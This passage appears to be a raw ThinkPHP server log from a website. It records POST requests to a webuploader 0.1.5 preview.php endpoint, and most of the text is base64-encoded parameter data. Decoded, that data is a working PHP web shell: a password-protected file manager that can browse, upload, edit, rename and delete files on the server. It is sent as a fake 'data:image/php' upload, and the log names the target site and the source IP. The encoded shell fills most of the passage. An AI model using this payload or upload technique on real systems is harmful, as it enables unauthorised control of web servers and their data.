Jyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'lib' => 'webuploader', 0 => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T03:30:33+08:00 ] 116.213.36.234 POST www.51tianwei.com/static/admin/lib/webuploader/0.1.5/server/preview.php [运行时间:0.002605s] [吞吐率:383.88req/s] [内存消耗:196.77kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'static', 2 => 'admin', ), ) [ info ] [ HEADER ] array ( 'host' => 'www.51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3a